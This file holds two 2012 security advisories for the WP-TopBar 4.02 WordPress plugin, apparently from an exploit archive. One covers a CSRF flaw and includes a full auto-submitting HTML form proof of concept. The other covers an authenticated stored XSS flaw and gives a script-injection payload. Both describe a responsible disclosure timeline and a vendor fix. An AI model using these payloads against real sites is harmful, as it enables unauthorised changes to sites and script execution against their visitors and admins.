102 lines
3.4 KiB
Text
Executable file
102 lines
3.4 KiB
Text
Executable file
# Exploit Title: WP-TopBar 4.02 CSRF
|
|
# Date: 2012-09-13
|
|
# Author: Blake Entrekin
|
|
# Version: 4.02
|
|
# Download Link: http://downloads.wordpress.org/plugin/wp-topbar.4.02.zip
|
|
# Vendor Link: http://wordpress.org/extend/plugins/wp-topbar/
|
|
-------------------
|
|
CSRF
|
|
-------------------
|
|
|
|
|
|
The wp-topbar.php does not utilize a nonce value when submitting any POST
|
|
changes. As a result, this page is vulnerable to Cross Site Request
|
|
Forgery.
|
|
|
|
Proof of Concept Code:
|
|
|
|
<html>
|
|
<head>
|
|
<title></title>
|
|
</head>
|
|
<body>
|
|
<form name="testform" action="
|
|
https://localhost/wordpress/wp-admin/admin.php?page=wp-topbar.php&action=topbartext&barid=1"
|
|
method="POST">
|
|
<br>
|
|
<input type="hidden" name="wptbbartext"
|
|
value="</script><script>onload=alert(3)</script>">
|
|
<input type="hidden" name="wptblinktext" value="whatever">
|
|
<input type="hidden" name="wptblinkurl"
|
|
value="http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fwp-topbar%2F">
|
|
<input type="hidden" name="wptblinktarget" value="blank">
|
|
<input type="hidden" name="wptbenableimage" value="false">
|
|
<input type="hidden" name="wptbbarimage" value="">
|
|
<input type="hidden" name="update_wptbSettings"
|
|
value="Update+Settings">
|
|
|
|
</form>
|
|
<script type="text/javascript">
|
|
document.testform.submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
This script takes advantage of a logged in user to submit the required
|
|
variables needed to update an existing TopBar with the required settings
|
|
that commits and executes a Stored XSS vulnerability from a previous
|
|
disclosure. In this example it was tested against a wordpress application
|
|
running on ?localhost? and altered a TopBar with the ?id? of 1. This
|
|
version of WP-TopBar creates a default TopBar with the id of 1 upon
|
|
installation. Any subsequent TopBar created has an id incremented. It can
|
|
be assumed that a user is more then likely to still have the default TopBar
|
|
and easily attack it.
|
|
|
|
# Vulnerability Timeline
|
|
2012-09-04 ? Vulnerability Reported
|
|
2012-09-05 ? Developer Acknowledges
|
|
2012-09-10 ? Developer Issues Fix (v4.03)
|
|
2012-09-15 - Vulnerability Disclosed
|
|
|
|
--
|
|
Blake Entrekin
|
|
Independent Security Consultant/
|
|
Web Penetration Tester
|
|
http://EntreSec.blogspot.com
|
|
Twitter: @entresec <https://twitter.com/#%21/entresec>
|
|
|
|
|
|
# Exploit Title: WP-TopBar 4.02 Authenticated Stored XSS
|
|
# Date: 2012-09-13
|
|
# Author: Blake Entrekin
|
|
# Version: 4.02
|
|
# Download Link: http://downloads.wordpress.org/plugin/wp-topbar.4.02.zip
|
|
# Vendor Link: http://wordpress.org/extend/plugins/wp-topbar/
|
|
-------------------
|
|
Stored XSS
|
|
-------------------
|
|
|
|
The message field (wptbbartext variable) of the wp-topbar.php page is
|
|
vulnerable to Stored Cross-site Scripting. This variable is only
|
|
accessible via the admin menu of the plugin.
|
|
|
|
The following code is an example:
|
|
|
|
</script><script>alert(3)</script>
|
|
|
|
This code is committed to the database upon submission and will run both
|
|
under the admin interface when the bar is shown as a preview as well as the
|
|
front facing page where the bar is set to display.
|
|
|
|
# Vulnerability Timeline
|
|
2012-09-04 ? Vulnerability Reported
|
|
2012-09-05 ? Developer Acknowledges
|
|
2012-09-10 ? Developer Issues Fix (v4.03)
|
|
2012-09-15 - Vulnerability Disclosed
|
|
|
|
--
|
|
Blake Entrekin
|
|
Independent Security Consultant/
|
|
Web Penetration Tester
|
|
http://EntreSec.blogspot.com
|
|
Twitter: @entresec <https://twitter.com/#%21/entresec>
|